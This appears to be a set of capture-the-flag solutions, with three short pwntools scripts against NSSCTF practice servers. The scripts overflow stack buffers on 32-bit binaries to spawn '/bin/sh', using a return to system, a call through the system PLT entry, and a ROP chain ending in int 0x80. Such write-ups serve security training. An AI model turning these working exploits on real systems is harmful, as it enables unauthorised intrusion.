签到题2

exp:

from pwn import *
u=remote("node1.anna.nssctf.cn",28532)
call_system=0x08048641
bin_sh=0x0804863A
payload=b'a'*(0x64+4)+p32(call_system)+p32(0x0)+p32(bin_sh)
u.sendline(payload)
u.interactive()

libc

from pwn import *
p = remote("node1.anna.nssctf.cn",28367)
system_plt_addr = 0x08048460
bin_sh_addr = 0x08048720
payload = flat(['a' * 112 , system_plt_addr , 0x00000000 , bin_sh_addr])
p.sendline(payload)
p.interactive()

system

exp:

# encoding: utf-8
from pwn import *
context(os='linux', arch='i386', log_level='debug')
​
if __name__ == '__main__':
    sh = remote("node1.anna.nssctf.cn",28083)
    pop_eax_ret = 0x080bb196
    pop_edx_ecx_ebx_ret = 0x0806eb90
    int_0x80 = 0x08049421
    binsh = 0x80be408
    payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
    sh.sendline(payload)
    sh.interactive()